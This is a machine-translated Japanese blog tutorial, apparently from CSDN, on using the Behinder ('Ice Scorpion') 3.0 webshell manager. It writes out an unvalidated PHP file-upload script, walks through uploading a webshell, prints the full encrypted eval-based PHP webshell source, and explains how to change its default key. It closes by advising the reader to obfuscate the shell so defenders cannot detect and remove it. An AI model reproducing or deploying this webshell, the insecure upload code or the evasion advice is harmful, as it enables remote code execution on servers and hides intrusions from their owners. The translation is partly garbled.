ice scorpion 3.0の使用方法とデフォルトのパスワードの変更方法

序文

今日、Bing Scorpion 3.0ベータ2の最新バージョンをダウンロードしましたが、接続できません。後で、会社の兄に理由を尋ねました。ここに記録があれば、参考になれば幸いです。

この記事は比較的基本的なもので、主に初心者向けで、技術的な内容は少なく、主に操作手順について説明しています。


まず、ダウンロードされるファイルを確認します。
ここに画像の説明を挿入
サーバーファイルには、以下に示すように、さまざまな言語のウェブシェルが含まれています。
ここに画像の説明を挿入


環境構成

ここでは、php webshel​​lを使用して実験を行います。最初にWindows仮想マシンを開いてphpstudyをダウンロードし、apacheを起動してから、ファイルアップロード用のphpコードを記述しました。これは、新人チュートリアルに付属するphpファイルアップロードコードです。具体的なコードは次のとおりです。


<!-- index.html代码 -->

<html>
<head>
<meta charset="utf-8">
<title>Upload</title>
</head>
<body>
<!-- 下面表单表示将接收到底文件传给upload_file.php去处理 -->
<form action="upload_file.php" method="post" enctype="multipart/form-data"> 
    <label for="file">文件名:</label>
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="提交">
</form>

</body>
</html>

// upload_file.php
<?php 
if ($_FILES["file"]["error"] > 0)
{
    
    
    echo "错误:" . $_FILES["file"]["error"] . "<br>";
}
else
{
    
    
    echo "上传文件名: " . $_FILES["file"]["name"] . "<br>";
    echo "文件类型: " . $_FILES["file"]["type"] . "<br>";
    echo "文件大小: " . ($_FILES["file"]["size"] / 1024) . " kB<br>";
    echo "文件临时存储的位置: " . $_FILES["file"]["tmp_name"];
}
move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]);
echo "文件存储在: " . "upload/" . $_FILES["file"]["name"] //文件会被上传到当前目录下的upload文件夹中
?>

アピールコードを入力し
ここに画像の説明を挿入
ます。phpstudyをダウンロードする限り、このフォルダは存在します。デフォルトのディレクトリを使用してインストールしました。upload_file.phpコードで記述されたアップロードファイルは、現在のディレクトリの下のアップロードフォルダに配置する必要があるため、上記のように、自分でアップロードフォルダを作成する必要があります。


Webshel​​lを接続する

ここに画像の説明を挿入
アップロードページが上の図に示されています。[ファイルを選択]をクリックしてファイルを選択し、[送信]をクリックしてphp webshel​​lをアップロードします。アップロードが成功すると、次の図が表示されます。
ここに画像の説明を挿入


この時点で、ダブルクリックして氷のサソリを開きます:開く
ここに画像の説明を挿入
ことができない場合は、Javaバージョンが間違っている可能性があります。ここでは、自分のJavaバージョンを参照として示します。
ここに画像の説明を挿入

次の図に示すように開いた後:
ここに画像の説明を挿入
空白部分を右クリックして[追加]を
ここに画像の説明を挿入
クリックします。URLとパスワードを入力して[保存]をクリックしますここに画像の説明を挿入

デフォルトのパスワードが無視される理由とデフォルトのパスワードを変更する方法についてお話しし
ましょう:Bingscorpのphpshellのソースコードを見てみましょう:

<?php
@error_reporting(0);
session_start();

if ($_SERVER['REQUEST_METHOD'] === 'POST')
{
    
    
    $key="e45e329feb5d925b"; //这一行为密码的md5的前16位
	$_SESSION['k']=$key;
	$post=file_get_contents("php://input");
	if(!extension_loaded('openssl'))
	{
    
    
		$t="base64_"."decode";
		$post=$t($post."");
		
		for($i=0;$i<strlen($post);$i++) {
    
    
    			 $post[$i] = $post[$i]^$key[$i+1&15]; 
    			}
	}
	else
	{
    
    
		$post=openssl_decrypt($post, "AES128", $key);
	}
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
	class C{
    
    public function __invoke($p) {
    
    eval($p."");}}
    @call_user_func(new C(),$params);
}
?>

コードでマークしたように

$ key = "e45e329feb5d925b"; //これはパスワードのmd5の最初の16ビットです。cmd5Webサイトに
移動して暗号化および復号化操作を実行し、rebeyondと入力します:rebeyond
ここに画像の説明を挿入
の32ビットmd5の最初の16はコードのキーにすぎないことがわかります(の値は、最初の行md5(rebeyond、32))です。これで、誰もがパスワードを変更する方法を知っているはずです。コードのキー値を、使用するパスワードのmd5の最初の16桁に置き換えるだけで、独自のパスワードを使用してシェルにログインできます。たとえば、adminをパスワードとして使用する場合、検索されるadminのmd5は次のとおりです。現時点
ここに画像の説明を挿入
では、コード内の「$ key = "e45e329feb5d925b";」の値を21232f297a57a5a7に変更するだけで、adminをパスワードとして使用してログインできます。そういえば、細かいのでやめてください。

氷サソリのページ

接続が成功すると、ページは次のよう
ここに画像の説明を挿入
になります。必要に応じて使用できますが、webshel​​lの混乱と回避を検討する機会があることをお勧めします。そうしないと、簡単にチェックして強制終了できます。

おすすめ

転載: blog.csdn.net/qq_41874930/article/details/107916317